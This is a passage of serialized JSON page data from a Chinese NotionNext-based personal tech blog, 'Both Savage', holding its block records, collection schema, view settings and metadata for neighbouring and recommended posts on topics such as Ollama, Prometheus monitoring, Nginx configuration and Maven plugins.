a63ab86f2d","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"8aac07aa-2380-479b-a102-949bea52fa92":{"value":{"id":"8aac07aa-2380-479b-a102-949bea52fa92","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1712317833901,"last_edited_time":1712317833901,"parent_id":"b5199d7b-c78d-468b-8184-1ffa3121d43e","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"9a4745f3-f187-4d79-9779-3f03e5624af9":{"value":{"id":"9a4745f3-f187-4d79-9779-3f03e5624af9","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["i"],["b"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712317833901,"last_edited_time":1712317833901,"parent_id":"b08d8512-adee-438d-bf93-e829da2b84da","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"5292fec2-e9fe-490c-a434-950f4e6dfb5a":{"value":{"id":"5292fec2-e9fe-490c-a434-950f4e6dfb5a","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712317833901,"last_edited_time":1712317833901,"parent_id":"b08d8512-adee-438d-bf93-e829da2b84da","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"6b314ec2-4cdc-4a48-bbd2-b178155da2ce":{"value":{"id":"6b314ec2-4cdc-4a48-bbd2-b178155da2ce","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1712317833901,"last_edited_time":1712317833901,"parent_id":"d5195470-d8d9-41bc-8ae6-4fe6ed34f17d","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"4d955058-b605-46cf-b242-1535b732af30","date":{"start_date":"2024-04-05"},"type":"Post","category":"万里长征","slug":"article/240405-LM","tags":["面试","推荐"],"summary":"常见面试题汇总","title":"万里长征","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-07T09:23:11.250Z","lastEditedDay":"2024-4-7","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"2024-3-25","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"2024-3-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","date":{"start_date":"2024-04-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240425-nginx","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","title":"Nginx配置备忘录","status":"Published","publishDate":1714003200000,"publishDay":"2024-4-25","lastEditedDate":"2024-04-24T16:37:04.342Z","lastEditedDay":"2024-4-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","tagItems":[{"name":"运维","color":"gray"},{"name":"工具","color":"pink"}],"password":""},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 